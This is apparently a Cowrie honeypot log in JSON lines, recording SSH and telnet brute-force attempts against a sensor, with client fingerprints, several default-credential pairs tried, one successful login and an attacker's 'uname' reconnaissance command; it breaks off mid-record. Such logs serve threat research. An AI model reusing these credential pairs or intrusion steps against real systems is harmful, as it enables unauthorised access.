{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57194,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdfbe993efb9","protocol":"ssh","message":"New connection: 31.40.204.166:57194 (159.203.135.109:22) [session: cdfbe993efb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:24.622733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:24.710377Z","src_ip":"31.40.204.166","session":"cdfbe993efb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:24.789360Z","src_ip":"31.40.204.166","session":"cdfbe993efb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56370,"dst_ip":"10.17.0.5","dst_port":23,"session":"1242b3b4db02","protocol":"telnet","message":"New connection: 152.42.224.71:56370 (10.17.0.5:23) [session: 1242b3b4db02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:24.996543Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:25.519936Z","src_ip":"31.40.204.166","session":"cdfbe993efb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:26.714178Z","src_ip":"31.40.204.166","session":"cdfbe993efb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49726,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1f17efcebf1","protocol":"telnet","message":"New connection: 152.42.224.71:49726 (10.17.0.5:23) [session: f1f17efcebf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:27.368005Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49732,"dst_ip":"10.17.0.5","dst_port":23,"session":"507cad4c2247","protocol":"telnet","message":"New connection: 152.42.224.71:49732 (10.17.0.5:23) [session: 507cad4c2247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:31.563142Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49740,"dst_ip":"10.17.0.5","dst_port":23,"session":"019d209ab674","protocol":"telnet","message":"New connection: 152.42.224.71:49740 (10.17.0.5:23) [session: 019d209ab674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:32.111102Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56354,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d6891857df6","protocol":"telnet","message":"New connection: 152.42.224.71:56354 (10.17.0.5:23) [session: 6d6891857df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:36.410257Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43986,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4258e86147d","protocol":"ssh","message":"New connection: 31.40.204.166:43986 (159.203.135.109:22) [session: f4258e86147d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:37.483142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:37.498767Z","src_ip":"31.40.204.166","session":"f4258e86147d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:37.614933Z","src_ip":"31.40.204.166","session":"f4258e86147d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49266,"dst_ip":"10.17.0.5","dst_port":23,"session":"44f518aed300","protocol":"telnet","message":"New connection: 152.42.224.71:49266 (10.17.0.5:23) [session: 44f518aed300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:38.226502Z"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:38.293640Z","src_ip":"31.40.204.166","session":"f4258e86147d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:39.505644Z","src_ip":"31.40.204.166","session":"f4258e86147d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49276,"dst_ip":"10.17.0.5","dst_port":23,"session":"52d46d810ef1","protocol":"telnet","message":"New connection: 152.42.224.71:49276 (10.17.0.5:23) [session: 52d46d810ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:40.054271Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49258,"dst_ip":"10.17.0.5","dst_port":23,"session":"02cb7aa9666c","protocol":"telnet","message":"New connection: 152.42.224.71:49258 (10.17.0.5:23) [session: 02cb7aa9666c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:40.081874Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49286,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cccf99466b2","protocol":"telnet","message":"New connection: 152.42.224.71:49286 (10.17.0.5:23) [session: 7cccf99466b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:41.231264Z"}
{"eventid":"cowrie.session.closed","duration":53.02257227897644,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:42.404593Z","src_ip":"152.42.224.71","session":"b2a587fe1e5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49296,"dst_ip":"10.17.0.5","dst_port":23,"session":"0484ea8951fb","protocol":"telnet","message":"New connection: 152.42.224.71:49296 (10.17.0.5:23) [session: 0484ea8951fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:44.380077Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52438,"dst_ip":"10.17.0.5","dst_port":23,"session":"51feca4309df","protocol":"telnet","message":"New connection: 152.42.224.71:52438 (10.17.0.5:23) [session: 51feca4309df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:48.398359Z"}
{"eventid":"cowrie.session.closed","duration":36.39788842201233,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:48.911402Z","src_ip":"152.42.224.71","session":"b5e929cef924","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57574,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee8e551575ab","protocol":"ssh","message":"New connection: 31.40.204.166:57574 (159.203.135.109:22) [session: ee8e551575ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:49.636174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:49.640328Z","src_ip":"31.40.204.166","session":"ee8e551575ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:49.792367Z","src_ip":"31.40.204.166","session":"ee8e551575ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00057101249695,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:50.102685Z","src_ip":"152.42.224.71","session":"3a1c583d049b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:50.286490Z","src_ip":"31.40.204.166","session":"ee8e551575ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:51.419671Z","src_ip":"31.40.204.166","session":"ee8e551575ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52442,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b7f25c214f1","protocol":"telnet","message":"New connection: 152.42.224.71:52442 (10.17.0.5:23) [session: 6b7f25c214f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:55.169999Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":18814,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdadadaf60c8","protocol":"ssh","message":"New connection: 141.11.21.145:18814 (159.203.135.109:22) [session: bdadadaf60c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:59.916475Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:59.994056Z","src_ip":"141.11.21.145","session":"bdadadaf60c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":18820,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7ab093390fd","protocol":"ssh","message":"New connection: 141.11.21.145:18820 (159.203.135.109:22) [session: d7ab093390fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:00.067903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:00.074008Z","src_ip":"141.11.21.145","session":"d7ab093390fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:00.152287Z","src_ip":"141.11.21.145","session":"d7ab093390fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chuantan","password":"bjtu618253","message":"login attempt [chuantan/bjtu618253] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:00.391406Z","src_ip":"141.11.21.145","session":"d7ab093390fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:01.473256Z","src_ip":"141.11.21.145","session":"d7ab093390fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39152,"dst_ip":"159.203.135.109","dst_port":22,"session":"942abf8e4b39","protocol":"ssh","message":"New connection: 31.40.204.166:39152 (159.203.135.109:22) [session: 942abf8e4b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:01.686879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:02.195696Z","src_ip":"31.40.204.166","session":"942abf8e4b39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:02.200814Z","src_ip":"31.40.204.166","session":"942abf8e4b39","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:03.100400Z","src_ip":"31.40.204.166","session":"942abf8e4b39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:03.551213Z","src_ip":"31.40.204.166","session":"942abf8e4b39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:03.555698Z","src_ip":"31.40.204.166","session":"942abf8e4b39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:03.713759Z","src_ip":"31.40.204.166","session":"942abf8e4b39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:03.720850Z","src_ip":"31.40.204.166","session":"942abf8e4b39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33402,"dst_ip":"10.17.0.5","dst_port":23,"session":"b07c83529435","protocol":"telnet","message":"New connection: 152.42.224.71:33402 (10.17.0.5:23) [session: b07c83529435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:04.202195Z"}
{"eventid":"cowrie.session.closed","duration":41.832101583480835,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:04.794747Z","src_ip":"152.42.224.71","session":"de4a1bdf2eac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50450,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e5e58f688c4","protocol":"telnet","message":"New connection: 152.42.224.71:50450 (10.17.0.5:23) [session: 3e5e58f688c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:07.717576Z"}
{"eventid":"cowrie.session.closed","duration":46.865683794021606,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:11.862100Z","src_ip":"152.42.224.71","session":"1242b3b4db02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":46900,"dst_ip":"159.203.135.109","dst_port":22,"session":"031ea2b36dcb","protocol":"ssh","message":"New connection: 47.237.167.49:46900 (159.203.135.109:22) [session: 031ea2b36dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:14.176349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:14.181822Z","src_ip":"47.237.167.49","session":"031ea2b36dcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.69373035430908,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:14.256779Z","src_ip":"152.42.224.71","session":"507cad4c2247","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 